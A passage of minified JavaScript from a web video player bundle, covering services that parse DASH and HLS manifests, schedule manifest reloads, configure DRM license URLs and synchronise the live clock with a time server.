e=t.getSupplementalProperties(u,"urn:mpeg:dash:adaptation-set-switching:2016"),f=i.findMatchingSwitchableAdaptationSets(u,n.AdaptationSet,e);return f&&0!==f.length?tt.ArrayHelper.addAndMergeIntersects(r,bt([u],f,!0)):r},[]):[]},t.mergeAdaptationSetProperties=function(n,t,i){var r=n.hasOwnProperty(i),u=t.hasOwnProperty(i);(r||u)&&(r?u||(t[i]=[]):n[i]=[],n[i]=n[i].concat(t[i]))},t.prototype.getAdaptationSetPropertyValues=function(n,t){return n.filter(function(n){return n.hasOwnProperty(t)}).map(function(n){return n[t]})},t.prototype.updateAdaptationSetMinMaxValues=function(n,t){var i=[n].concat(t),r=this.getAdaptationSetPropertyValues(i,"_minWidth"),u=this.getAdaptationSetPropertyValues(i,"_maxWidth"),f=this.getAdaptationSetPropertyValues(i,"_minHeight"),e=this.getAdaptationSetPropertyValues(i,"_maxHeight"),o=this.getAdaptationSetPropertyValues(i,"_minBandwidth"),s=this.getAdaptationSetPropertyValues(i,"_maxBandwidth");r.length>0&&(n._minWidth=Math.min.apply(null,r));u.length>0&&(n._maxWidth=Math.max.apply(null,u));f.length>0&&(n._minHeight=Math.min.apply(null,f));e.length>0&&(n._maxHeight=Math.max.apply(null,e));o.length>0&&(n._minBandwidth=Math.min.apply(null,o));s.length>0&&(n._maxBandwidth=Math.max.apply(null,s))},t.prototype.mergeAdaptationSets=function(n,i){i.forEach(this.copyRequiredPropertiesToRepresentations);var r=i.shift();i.forEach(function(n){["Representation","ContentComponent","ContentProtection","SupplementalProperty"].forEach(function(i){return t.mergeAdaptationSetProperties(r,n,i)})});this.updateAdaptationSetMinMaxValues(r,i);n.AdaptationSet=n.AdaptationSet.filter(function(n){return!i.includes(n)})},t.prototype.mergeSwitchableAdaptationSets=function(n){var t=this;return n.Period.forEach(function(n){t.getSwitchableAdaptationSets(n).forEach(function(i){t.mergeAdaptationSets(n,i)})}),n},t.getFirstKeyId=function(n){var t,i;return!n||0===n.length?null:(t=n.find(function(n){return"cenc"===n.name}),t&&t.defaultKid)?t.defaultKid:(i=n.find(function(n){return n.kids&&n.kids.length>0}),i?i.kids[0]:null)},t.prototype.setRepresentationDrmKid=function(n,t){this.sourceStore.dispatch(s.setRepresentationDrmKidAction(n,t))},t.prototype.getRepresentationDrmKid=function(n){var t;if(null!==(t=this.getRepresentationById(n))&&void 0!==t)return t.associatedKid},t.prototype.setManifestInitialized=function(n){this.sourceStore.dispatch(s.setManifestInitializedAction(n))},t.prototype.setPlayerDRM=function(n){var i=this.sourceContext.source.drm,u=function(n){return null==n.Period?[]:n.Period.filter(function(n){return n.AdaptationSet&&n.AdaptationSet.length>0}).reduce(function(n,t){return n.concat(t.AdaptationSet)},[]).filter(function(n){return n.ContentProtection&&n.ContentProtection.length>0}).flatMap(function(n){return n.ContentProtection}).filter(function(n){return null!=n.laurl&&n.laurl.length>0}).flatMap(function(n){return n.laurl.map(function(t){return r(r({},t),{drmType:gt.DRMSchemeIDURIs[n._schemeIdUri]})})}).filter(function(n){return null!=n.drmType}).map(function(n){var t;return(t={})[n.drmType]={LA_URL:n._licenseUrl},t})}(n),t={},f;u.length>0&&(t=r({},u[0]));null!=i&&Object.keys(i).length>0&&Object.keys(i).forEach(function(n){t[n]=null!=t[n]?r(r({},t[n]),i[n]):i[n]});this.addDrmServiceAndSetDrmConfig(t);f=Object.keys(t).length>0?nt.setManifestDrm(t):nt.resetManifestDrm();this.sourceStore.dispatch(f)},t.prototype.addDrmServiceAndSetDrmConfig=function(n){if(u.ModuleManager.has(f.ModuleName.DRM)&&Object.keys(n).length>0&&!this.context.serviceManager.has(e.ServiceName.DrmService)){var t=u.ModuleManager.get(f.ModuleName.DRM).DrmService;this.context.serviceManager.set(e.ServiceName.DrmService,new t(this.context))}this.context.serviceManager.maybeCall(e.ServiceName.DrmService,function(t){t.isDrmConfigSet()||t.setDrmConfig(n)})},t.prototype.getPreviousRepDrmKidAssociation=function(){var n=new Map;return this.getAllRepresentations().filter(function(n){return n._internalId&&n.associatedKid}).forEach(function(t){return n.set(t._internalId.key(),t.associatedKid)}),n},t.prototype.preProcessManifest=function(n){var t=this.getPreviousRepDrmKidAssociation();return n.Period&&n.Period.length>0?(et(n=v.orderAdaptationSetsByCodec(n,yt(this.context.config,this.sourceContext.source))),n=this.mergeSwitchableAdaptationSets(n),u.ModuleManager.has(f.ModuleName.Envivio)&&(n=u.ModuleManager.get(f.ModuleName.Envivio).fixSegmentTimelineLiveStream(n)),this.isSuspended()||this.setPlayerDRM(n),n=y(n),function(n,t){n.Period.flatMap(function(n){var t;return null!==(t=null==n?void 0:n.AdaptationSet)&&void 0!==t?t:[]}).flatMap(function(n){var t;return null!==(t=null==n?void 0:n.Representation)&&void 0!==t?t:[]}).forEach(function(n){t.has(n._internalId.key())&&(n.associatedKid=t.get(n._internalId.key()))})}(n=v.removeRepresentations(n,this.excludedRepresentations),t),n):(this.context.eventHandler.fireError(new d.PlayerError(k.ErrorCode.SOURCE_ERROR,void 0,"No playable track left")),null)},t.prototype.parseStreamDuration=function(){if(this.mpdExtractor){var n=NaN,t=this.mpdExtractor.getDuration();return t&&(this.cachedDurationString&&this.cachedDurationString===t?n=this.cachedDuration:(n=h.DurationConverter.getDurationInSec(t),this.cachedDurationString=t,this.cachedDuration=n)),isNaN(n)&&this.isLive()?1/0:n}return 0},t.prototype.getDuration=function(){return this.parsedDuration},t.prototype.isLive=function(){return!!this.manifest&&this.mpdExtractor.isLive()},t.prototype.getAvailabilityStartTime=function(){return this.mpdExtractor.getAvailabilityStartTime()},t.prototype.getAvailabilityEndTime=function(){return this.mpdExtractor.getAvailabilityEndTime()},t.prototype.isAvailabilityEndTimeExceeded=function(){var n=this.getAvailabilityEndTime();return n&&Date.now()>n.getTime()},t.prototype.findPeriod=function(n){return p(this.manifest,n)},t.prototype.getAllPeriods=function(){return this.manifest&&this.manifest.Period?this.manifest.Period:[]},t.prototype.getPeriod=function(n){return n?this.findPeriod(n.periodId):null},t.prototype.isSmoothManifest=function(){return this.manifest.originalFormat&&"smooth"===this.manifest.originalFormat.format},t.prototype.isLanguageAvailable=function(n,t,i){var r=p(this.manifest,n)||w(this.manifest);return rt.findAdaptationSetsForMimeType(r,t).some(function(n){var t=n._lang&&i.lang&&n._lang===i.lang,r=i.adaptationSetId&&n._internalId.equals(i.adaptationSetId);return t||r})},t.prototype.findAdaptationSet=function(n,t,i,r){var u,e,f;return void 0===r&&(r=!1),u=p(this.manifest,n)||w(this.manifest),void 0!==u?(e=this.sourceStore.getState(),f=rt.findAdaptationSetOfMimeType(t,u,{sourceState:e,langObj:i,periodSwitched:r,playbackConfig:this.context.config.playback}),f||this.context.logger.debug("No AdaptationSet found to match mime type "+t),f):void 0},t.prototype.getManifest=function(){return this.manifest},t.prototype.getAvailableAudio=function(n,t){return this.mpdExtractor.getAvailableAudio(n,t)},t.prototype.getAvailableVideo=function(n){return this.mpdExtractor.getAvailableVideo(n)},t.prototype.getAvailableSubtitles=function(n){return this.mpdExtractor.getAvailableSubtitles(n)},t.prototype.getClosedCaptionLabels=function(n){return this.mpdExtractor.getClosedCaptionLabels(n)},t.prototype.getVideoRepresentations=function(n){return this.mpdExtractor.getVideoQualities(n)},t.prototype.getAudioRepresentations=function(n){return this.mpdExtractor.getAudioQualities(n)},t.prototype.getPeriodDuration=function(n,t){return this.mpdExtractor.getPeriodDuration(n,t||this.getManifest().Period)},t.prototype.hasMultiplePeriods=function(){return this.manifest&&this.manifest.Period&&this.manifest.Period.length>1},t.prototype.hasSinglePeriod=function(){return this.manifest&&this.manifest.Period&&1===this.manifest.Period.length},t.prototype.getTimeShiftBufferDepthSeconds=function(){return this.mpdExtractor.getTimeShiftBufferDepthSeconds()},t.prototype.getRequestTimestamp=function(){return this.mpdExtractor.getRequestTimestamp()},t.prototype.getMediaPresentationDuration=function(){var n=h.DurationConverter.getDurationInSec(this.manifest._mediaPresentationDuration);return isNaN(n)?0:n},t.prototype.calculateCumulativePeriodDuration=function(n){for(var r,t=0,i=0,u=this.manifest.Period;i<u.length;i++){if(r=u[i],r._id===n)break;t+=this.getPeriodDuration(r._id)}return this.isLive()?a.toSeconds(Date.now()-this.getAvailabilityStartTime())-t:t},t.prototype.getMinimumUpdatePeriod=function(){return c.getMinimumUpdatePeriodInSeconds(this.manifest)},t.prototype.getContentProtectionForAdaptationSet=function(n){return c.MPDExtractor.getContentProtectionForAdaptationSet(n)},t.prototype.getLangObjectFromAdaptationSet=function(n,t){return this.mpdExtractor.getLangObjectFromAdaptationSet(n,t)},t.prototype.toSubtitleTrack=function(n,t){return this.mpdExtractor.toSubtitleTrack(n,t)},t.prototype.getDRMCapabilitiesForPeriod=function(n){return this.mpdExtractor.getDRMCapabilitiesForPeriod(n)},t.prototype.hasManifestTypeChanged=function(n){return!(!this.manifest||this.manifest._type===n||(this.context.logger.log("Manifest has just changed from "+this.manifest._type+" to "+n),0))},t.prototype.getPeriodIdForTime=function(n){var t,i=this.manifest.Period;return 1===i.length?i[0]._id:null===(t=st(i,n))||void 0===t?void 0:t._id},t.prototype.dispose=function(){this.disposeMpdExtractor();n.prototype.dispose.call(this)},t.prototype.disposeMpdExtractor=function(){this._mpdExtractor=kt.dispose(this._mpdExtractor)},t.prototype.getTotalDurationFromManifest=function(){var n=this.getFirstPeriod();if(this.cachedDuration&&n&&n.start)return n.start+this.cachedDuration},t.prototype.getTotalDuration=function(){if(this.isLive())return this.getTotalDurationFromManifest()||1/0;var n=this.getLastPeriod();return n?(n.start||n._start&&h.DurationConverter.getDurationInSec(n._start)||0)+this.mpdExtractor.getPeriodDuration(n._id):0},t.prototype.getFirstPeriod=function(){return w(this.manifest)},t.prototype.getLastPeriod=function(){if(this.manifest.Period&&this.manifest.Period.length>0)return this.manifest.Period[this.manifest.Period.length-1]},t.prototype.isLastPeriod=function(n){var t=this.getLastPeriod();return!!t&&n===t._id},t.prototype.isManifestFinalized=function(){return!this.isLive()},t.prototype.isFirstPeriod=function(n){var t=this.getFirstPeriod();return!!t&&t._id===n},t.prototype.isHlsManifest=function(){return this.getManifest()._isHls},t.prototype.getHlsTags=function(){if(!this.isHlsManifest())return null;var n=u.ModuleManager.get(f.ModuleName.HLS).selectors,t=n.getHlsState;return n.getCustomTags(t(this.sourceStore.getState()))},t.prototype.isMimeTypePartOfPeriod=function(n,t){var i=this.getPeriod(new ei.PeriodId(t));return(i?i.AdaptationSet:[]).some(function(t){return t._mimeType===n})},t.prototype.getNextPeriod=function(n){var r,t,i;if(this.manifest)for(r=this.findPeriod(n),t=this.manifest.Period.indexOf(r)+1;t<this.manifest.Period.length;t++)if(i=this.manifest.Period[t],i&&!i.droppedOut)return i;return null},t.prototype.getEventStreamEvents=function(n){return this.mpdExtractor.getEventStreamEvents(n)},t.prototype.hasAdaptationSets=function(n){var t=this.manifest,i;return t&&t.Period?(i=t.Period.find(function(t){return t._id===n}),Boolean(i&&i.AdaptationSet)):!1},t.prototype.synchronizeWithTimeserver=function(n){var r=this,t,u,i;return this.isHlsManifest()?Promise.resolve():(t=[],u=0,this.synchronizedTimeService)?(i=this.context.config&&this.context.config.live,i&&i.synchronization&&i.synchronization.length>0?t=i.synchronization.map(function(n){switch(n.method){case l.LiveSynchronizationMethod.HttpHead:return{schemeIdUri:"urn:mpeg:dash:utc:http-head:2014",value:n.serverUrl};case l.LiveSynchronizationMethod.HttpXsDate:return{schemeIdUri:"urn:mpeg:dash:utc:http-xsdate:2014",value:n.serverUrl};case l.LiveSynchronizationMethod.HttpIso:return{schemeIdUri:"urn:mpeg:dash:utc:http-iso:2014",value:n.serverUrl};default:return r.context.logger.debug("No valid time synchronization configuration entry provided"),null}}).filter(function(n){return null!==n}):n&&n.UTCTiming&&n.UTCTiming.length>0&&(t=t.concat(n.UTCTiming),u=n._downloadTime),this.synchronizedTimeService.synchronizeWithServer(t,u).then(function(n){r.context.logger.debug("successfully synchronized to server time - drift: ".concat(a.toSeconds(n),"s"))}).catch(function(){r.context.logger.debug("Player clock synchronization failed")})):Promise.resolve()},t.prototype.getAdaptationSet=function(n){if(!n)return null;var t=this.getPeriod(n);return t&&t.AdaptationSet?t.AdaptationSet.find(function(t){return t._internalId.equals(n)}):null},t.prototype.getRepresentationById=function(n){var t=this.getAdaptationSet(n);return t?at(t.Representation,n):null},t.prototype.representationExists=function(n){return Boolean(this.getRepresentationById(n))},t.prototype.getLowestBandwidthOfAdaptationSet=function(n){return this.findLowestPossibleBandwidth(n,-1/0)},t.prototype.findLowestPossibleBandwidth=function(n,t){void 0===t&&(t=-1/0);var i=this.getAdaptationSet(n);return i?ht(i.Representation,t):1/0},t.prototype.getMatchingRepresentationsByBandwidth=function(n,t,i){void 0===i&&(i=function(){return!0});var r=this.getAdaptationSet(n);return r?ct(r.Representation,t,i):[]},t.prototype.getMatchingRepresentationByBandwidth=function(n,t,i){void 0===i&&(i=function(){return!0});var r=this.getAdaptationSet(n);return r?lt(r.Representation,t,i):null},t.prototype.getAllRepresentations=function(){return this.getAllPeriods().flatMap(function(n){var t;return(null===(t=n.AdaptationSet)||void 0===t?void 0:t.flatMap(function(n){return n.Representation}))||[]})},t.prototype.getRepresentation=function(n,t){return this.getRepresentationById(new ut.RepresentationId(n,t))},t.prototype.getAllAdaptationSets=function(){return this.getAllPeriods().flatMap(function(n){return n.AdaptationSet})},t.prototype.getAllImageAdaptationSets=function(){return this.getAllAdaptationSets().filter(function(n){return n._mimeType.includes("image")&&"image"===n._contentType})},t.prototype.getAllDashThumbnailSources=function(){var n=this;return this.getAllImageAdaptationSets().map(function(t){var i=n.findPeriod(t._internalId.periodId);return{adaptationSet:t,timing:{startTime:i.start,duration:i.duration}}})},t.prototype.getAdaptationSetIndex=function(n){var t=this.findPeriod(n.periodId);return t&&t.AdaptationSet&&0!==t.AdaptationSet.length?t.AdaptationSet.findIndex(function(t){return t._internalId.equals(n)}):-1},t.prototype.getAvailableBaseURLsForRepresentation=function(n){var f=this.getAdaptationSet(n),u;if(void 0===n||!f)return[];for(var r=[],i=f.Representation,t=0;t<i.length;t++)if(i[t]._internalId.equals(n)&&i[t].BaseURL&&i[t].BaseURL.length>0){r=i[t].BaseURL;break}for(u=[],t=0;t<r.length;t++)u.push(ti.forceReallocation(r[t].url));return u},t.prototype.findDownloadedHlsRepresentation=function(n){var t=this.getAdaptationSet(n);return t?t.Representation.find(function(n){return n._hls&&Boolean(n._hls.requestTimestamp)}):null},t.prototype.isManifestFetchRequired=function(n){if(!this.isHlsManifest())return!1;var i=Date.now(),t=this.getRepresentationById(n),r=Boolean(t.SegmentList)&&t.SegmentList.length>0&&Boolean(t.SegmentList[0].SegmentURL),u=r?t.SegmentList[0].SegmentURL.length:0,f=!r||u>0,e=i-(t._requestTimestamp||i),o=this.isLive()&&e>=this.getMinimumUpdatePeriod();return!f||o},t.prototype.hasSelfInitialisingSegments=function(){return this.manifest.Period.map(function(n){return n.AdaptationSet}).reduce(function(n,t){return n.concat(t)},[]).map(function(n){return n.Representation}).reduce(function(n,t){return n.concat(t)},[]).some(function(n){var t=Boolean(n.SegmentList)&&n.SegmentList.length>0?n.SegmentList:[],i=Boolean(n.SegmentBase)&&n.SegmentBase.length>0,r=Boolean(n.SegmentTemplate)&&n.SegmentTemplate.length>0?n.SegmentTemplate:[];return!(n.init||i||t.some(function(n){return Boolean(n.init)})||r.some(function(n){return Boolean(n._initialization)}))})},t.prototype.getAvailabilityTimeComplete=function(n){var i=this.getRepresentationById(n),t=i.SegmentList||i.SegmentBase||i.SegmentTemplate;return!(t&&t[0]&&t[0]._availabilityTimeComplete)||JSON.parse(t[0]._availabilityTimeComplete)},t.prototype.isSegmentInfoLoaded=function(n){var t=this.getRepresentationById(n);return!(!t||!t.segmentIndex&&!t.segmentIndexParsingError)},t.prototype.isPrecedingPeriod=function(n,t){if(!(n&&t&&this.manifest&&this.manifest.Period))return!1;var i=this.manifest.Period.findIndex(function(t){return t._id===n}),r=this.manifest.Period.findIndex(function(n){return n._id===t});return i>=0&&r>=0&&r<i},t.prototype.getMaxSegmentDuration=function(){var n=h.DurationConverter.getDurationInSec(this.manifest._maxSegmentDuration);return isNaN(n)?0:n},t.prototype.getDesiredDistanceToLiveEdge=function(){return Boolean(this.context.config.live&&this.context.config.live.lowLatency)?this.context.config.live.lowLatency.targetLatency:this.context.bufferSettings.getForwardTargetLevel()+this.settings.LIVE_EDGE_DISTANCE},t.prototype.hasSuggestedStartPosition=function(){return this.manifest.hasOwnProperty("_startOffset")},t.prototype.getVodStartOffset=function(){return Math.max(0,Math.min(this.manifest._startOffset,this.getDuration()-this.settings.SEEK_TO_END_OFFSET))},t.prototype.getLiveStartOffset=function(n){void 0===n&&(n=!0);var t=this.manifest._startOffset;return t-=Math.abs(this.getTimeShiftBufferDepthSeconds()),n&&(t+=this.getDesiredDistanceToLiveEdge(),t=Math.min(0,t)),t},t.prototype.getPublishTime=function(){return this.manifest._publishTime},t.prototype.initSegmentStartTimesFromReferenceSegment=function(n){var t=u.ModuleManager.get(f.ModuleName.HLS);this.sourceStore.dispatch(t.actions.initSegmentStartTimesFromReferenceSegment(n))},t.prototype.initializeSegmentStartTimesFromStart=function(n){var i=u.ModuleManager.get(f.ModuleName.HLS),t=i.selectors,o=t.getHlsState,s=t.getPlaylistStartTime,h=t.hasPlaylist,r=o(this.sourceStore.getState()),e;h(r,n)&&(e=s(r,n),this.sourceStore.dispatch(i.actions.initSegmentStartTimes(n,0,e)))},t.prototype.hasSegmentStartTimeForHlsRepresentation=function(n){var t=u.ModuleManager.get(f.ModuleName.HLS).selectors,i=t.getHlsState;return t.hasSegmentStartTimesForPlaylist(i(this.sourceStore.getState()),n)},t.prototype.getStartTimeForHlsSegment=function(n,t){var i=u.ModuleManager.get(f.ModuleName.HLS).selectors,r=i.getHlsState;return i.getStartTimeForSegment(r(this.sourceStore.getState()),n,t)},t.prototype.isTimeNearPeriodEnd=function(n,t){for(var r=this.getAllPeriods(),i=0,u=r;i<u.length;i++){var f=u[i],e=f.start,o=e+this.getPeriodDuration(f._id,r);if(n>=e&&n<=o)return o-n<=t}return!1},t}(ii.Suspendable);t.ManifestService=oi;t.initializeInternalIds=y;t.addDrmKidsToRepresentations=et;t.iterateAdaptationSets=ot;t.getNearestPeriodForTime=st;t.findLowestPossibleBandwidthFromRepresentations=ht;t.getMatchingRepresentationsByBandwidth=ct;t.getMatchingRepresentationByBandwidth=lt;t.getRepresentationById=at;t.getCodecPriorities=yt;t.getCodecOfAdaptationSetMimeType=b},43412:function(n,t,i){var e=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}(),o=this&&this.__decorate||function(n,t,i,r){var f,e=arguments.length,u=e<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,i):r,o;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)u=Reflect.decorate(n,t,i,r);else for(o=n.length-1;o>=0;o--)(f=n[o])&&(u=(e<3?f(u):e>3?f(t,i,u):f(t,i))||u);return e>3&&u&&Object.defineProperty(t,i,u),u};Object.defineProperty(t,"__esModule",{value:!0});t.ManifestUpdateScheduler=void 0;var s=i(28764),r=i(18665),h=i(16937),u=i(76420),f=i(3464),c=i(34731),l=i(331),a=i(41735),v=i(61743),y=i(35655),p=function(n){function t(t,i){var f=n.call(this,{onSuspend:function(){return f.onSuspend()},onRestore:function(){return f.onRestore()}})||this,e;return f.initiated=!1,f.trackUpdaters={},f.selectActiveTracks=function(n){if(null!=n)return n.activeTracks},f.handleActiveTracksChange=function(n){n&&f.manifestService.isHlsManifest()&&f.updateTracks(n)},f.selectPlaybackState=function(n){return n.player&&n.player.playbackState},f.handlePlaybackStateChange=function(n){n&&(n===u.PlaybackState.Paused?f.stop():n===u.PlaybackState.Playing&&f.start())},f.updatedRepresentation=function(n){f.updateAdaptationSetInManifest(n);f.manifestService.updateManifest(f.manifestService.getManifest()).catch(function(){f.logger.debug("Updating the manifest failed")})},f.representationUpdateError=function(n){f.logger.debug("Rejection while updating the representation",n)},f.manifestDownloadError=function(){f.logger.debug("Error while loading manifest")},f.context=t,f.sourceContext=i,e=f.sourceContext.sourceIdentifier,f.manifestService=t.serviceManager.get(r.ServiceName.ManifestService,e),f.manifestLoader=t.serviceManager.get(r.ServiceName.ManifestLoadingService,e),f.store=t.store,f.sourceStore=t.serviceManager.get(r.ServiceName.SourceStoreService,e),f.eventHandler=t.eventHandler,f.logger=t.logger,f.unsubscribeFromActiveTrackChanges=f.subscribeToActiveTrackChanges(),f.unsubscribeFromPausePlayingChanges=f.subscribeToPausePlayingChanges(t),f}return e(t,n),t.prototype.subscribeToActiveTrackChanges=function(){var n=this;return f.subscribe(this.sourceStore)(function(t){return n.selectActiveTracks(t)},this.handleActiveTracksChange)},t.prototype.updateTracks=function(n){this.processNewActiveTrack(n);this.removeDeactivatedTrackUpdaters(n)},t.prototype.processNewActiveTrack=function(n){var t=this;Object.keys(n).filter(function(t){return n[t].selectedRepresentationId}).forEach(function(i){t.updateTrackUpdater(n[i].selectedRepresentationId)})},t.prototype.removeDeactivatedTrackUpdaters=function(n){var t=this;Object.keys(this.trackUpdaters).filter(function(t){return!Object.keys(n).includes(t)}).forEach(function(n){t.trackUpdaters[n].stop();delete t.trackUpdaters[n]})},t.prototype.subscribeToPausePlayingChanges=function(n){return f.subscribe(this.store)(this.selectPlaybackState,this.handlePlaybackStateChange,function(){return n.settings.STOP_DOWNLOAD_ON_PAUSE})},t.prototype.updateTrackUpdater=function(n){var t=this.manifestService.getRepresentationById(n),i=n.adaptationSetId;this.trackUpdaters[i]?this.trackUpdaters[i].getRepresentation()._internalId.equals(n)||this.trackUpdaters[i].setRepresentation(t):this.trackUpdaters[t._internalId.adaptationSetId]=this.initializeTrackUpdater(t)},t.prototype.cancelRepresentationUpdate=function(n){var t=this.trackUpdaters[n._internalId.adaptationSetId];null==t||t.cancelScheduledUpdate()},t.prototype.scheduleRepresentationUpdate=function(n){var t=this.trackUpdaters[n._internalId.adaptationSetId];null==t||t.setRepresentation(n)},t.prototype.initializeTrackUpdater=function(n){var t=new y.RepresentationUpdater(n,this.manifestLoader,{success:this.updatedRepresentation,error:this.representationUpdateError});return t.start(),t},t.prototype.updateAdaptationSetInManifest=function(n){this.sourceStore.dispatch(a.updateRepresentationAction(n))},t.prototype.init=function(n){var t=this;return this.manifestLoader.load(n).then(function(n){return t.manifestService.updateManifest(n).then(function(){t.initiated=!0;t.manifestService.isLive()&&!t.manifestService.isHlsManifest()&&t.scheduleManifestReloading(n)})}).catch(function(n){return n instanceof s.PlayerError||n instanceof Error?Promise.reject(n):Promise.reject(new Error("The loading of the manifest has failed or was cancelled"))})},t.prototype.scheduleManifestReloading=function(n){var t=this;this.manifestUpdater=new v.ManifestUpdater(this.manifestLoader,n,{minAllowedUpdatePeriod:this.context.settings.MINIMUM_ALLOWED_UPDATE_PERIOD,maxAllowedUpdatePeriod:this.context.settings.MAXIMUM_ALLOWED_UPDATE_PERIOD},{success:function(n){return t.manifestService.updateManifest(n)},error:this.manifestDownloadError});this.manifestUpdater.start()},t.prototype.waitForRepUpdate=function(n){return 0===Object.keys(this.trackUpdaters).length||function(n){var t;return n._requestTimestamp+l.toMilliSeconds(null!==(t=n._updateInterval)&&void 0!==t?t:1/0)>Date.now()}(this.manifestService.getRepresentationById(n))?Promise.resolve():this.trackUpdaters[n.adaptationSetId].updateRepresentation().then(function(){})},t.prototype.stop=function(){Object.values(this.trackUpdaters).forEach(function(n){return n.stop()});this.manifestUpdater&&this.manifestUpdater.stop()},t.prototype.start=function(){Object.values(this.trackUpdaters).filter(function(n){return n.isStopped}).forEach(function(n){n.start()});this.manifestUpdater&&this.manifestUpdater.isStopped&&this.manifestUpdater.start()},t.prototype.onSuspend=function(){this.unsubscribeFromPausePlayingChanges()},t.prototype.onRestore=function(){this.unsubscribeFromPausePlayingChanges=this.subscribeToPausePlayingChanges(this.context)},t.prototype.isInitiated=function(){return this.initiated},t.prototype.dispose=function(){this.unsubscribeFromActiveTrackChanges();this.unsubscribeFromPausePlayingChanges();this.stop();this.manifestUpdater=null;this.trackUpdaters=null;n.prototype.dispose.call(this)},o([h.trackPerformance("ManifestUpdateScheduler.init",!0)],t.prototype,"init",null),t}(c.Suspendable);t.ManifestUpdateScheduler=p},61743:function(n,t,i){var r=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}();Object.defineProperty(t,"__esModule",{value:!0});t.ManifestUpdater=void 0;var u=i(99162),f=i(43752),e=function(n){function t(t,i,r,u){var f=n.call(this,u)||this;return f.manifestLoader=t,f.manifest=i,f.settings=r,f}return r(t,n),t.prototype.getUpdatedManifest=function(){return this.getPayload()},t.prototype.update=function(){var n=this;return this.manifestLoader.load(this.manifest._currentLoadingUrl).then(function(t){return n.manifest=t,t})},t.prototype.getReloadIntervalInSeconds=function(){var n=f.getMinimumUpdatePeriodInSeconds(this.manifest);return isNaN(n)?this.settings.minAllowedUpdatePeriod:Math.min(this.settings.maxAllowedUpdatePeriod,Math.max(this.settings.minAllowedUpdatePeriod,n))},t.prototype.getLastReloadTimestamp=function(){return this.manifest._requestTimestamp},t}(u.AbstractUpdater);t.ManifestUpdater=e},28171:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.MediaPlayerManifestApiFactory=void 0;var r=i(18665),u=i(62510),f=i(96953),e=function(){function n(){}return n.create=function(t,i){var u=i.serviceManager.get(r.ServiceName.ManifestService,i.sourceContext.sourceIdentifier);return new function(){u.isHlsManifest()?this.hls=n.createHlsApi(u):u.isSmoothManifest()||(this.dash=n.createDashApi(t,u))}},n.createDashApi=function(t,i){return new(function(){function r(){}return r.prototype.getPeriod=function(){var u=i.getPeriodIdForTime(t.getCurrentTime()),r=i.getPeriod(new f.PeriodId(u));return r?n.createPeriodApi(i,r):null},r.prototype.listPeriods=function(){return i.getAllPeriods().map(function(t){return n.createPeriodApi(i,t)})},r}())},n.createHlsApi=function(t){return new(function(){function i(){this.properties=t.getHlsTags()}return i.prototype.getVideoTracks=function(){return n.getVideoTracks(t,t.getFirstPeriod()._id)},i.prototype.getAudioTracks=function(){return n.getAudioTracks(t,t.getFirstPeriod()._id)},i.prototype.getTextTracks=function(){return n.getTextTracks(t,t.getFirstPeriod()._id)},i}())},n.createPeriodApi=function(t,i){return new(function(){function r(){this.id=i._id;this.properties={};i._id&&(this.properties.id=i._id);i._start&&(this.properties.start=i._start);i._duration&&(this.properties.duration=i._duration)}return r.prototype.getVideoTracks=function(){return n.getVideoTracks(t,this.id)},r.prototype.getAudioTracks=function(){return n.getAudioTracks(t,this.id)},r.prototype.getTextTracks=function(){return n.getTextTracks(t,this.id)},r.prototype.getMetadata=function(){return n.getMetadata(t,this.id)},r}())},n.getAudioTracks=function(t,i){return t.getAvailableAudio(i,!1).map(function(r){var u={id:r.id,label:r.label,lang:r.lang,getQualities:function(){return n.getAudioQualities(t,i,r.id)}};return r.role&&(u.role=r.role),u})},n.getVideoTracks=function(t,i){return t.getAvailableVideo(i).map(function(r){var u={id:r.id,label:r.label,getQualities:function(){return n.getVideoQualities(t,i)}};return r.role&&(u.role=r.role),u})},n.getTextTracks=function(n,t){return n.getAvailableSubtitles(t)},n.getMetadata=function(n,t){return n.getEventStreamEvents(n.findPeriod(t)).map(function(n){return{type:u.MetadataType.EVENT_STREAM,payload:n.data,start:n.startTime,end:n.endTime}})},n.getAudioQualities=function(n,t,i){return n.getAudioRepresentations(t)[i]||[]},n.getVideoQualities=function(n,t){return n.getVideoRepresentations(t)},n}();t.MediaPlayerManifestApiFactory=e},96953:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.PeriodId=void 0;var i=function(){function n(n){this._periodId=n}return Object.defineProperty(n.prototype,"periodId",{get:function(){return this._periodId},enumerable:!1,configurable:!0}),n.prototype.equals=function(n){return null!=n&&this.periodId===n.periodId},n.prototype.key=function(){return this.periodId},n}();t.PeriodId=i},38925:function(n,t,i){var f=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}(),r,u;Object.defineProperty(t,"__esModule",{value:!0});t.RepresentationId=void 0;r=i(67883);u=function(n){function t(t,i){var r=n.call(this,t.periodId,t.adaptationSetId)||this;return r._representationId=i,r}return f(t,n),Object.defineProperty(t.prototype,"representationId",{get:function(){return this._representationId},enumerable:!1,configurable:!0}),t.prototype.equals=function(t){return n.prototype.equals.call(this,t)&&this.representationId===(null==t?void 0:t.representationId)},t.prototype.key=function(){return n.prototype.key.call(this)+"-"+this.representationId},t.from=function(n){return n._representationId&&n._adaptationSetId&&n._periodId?new 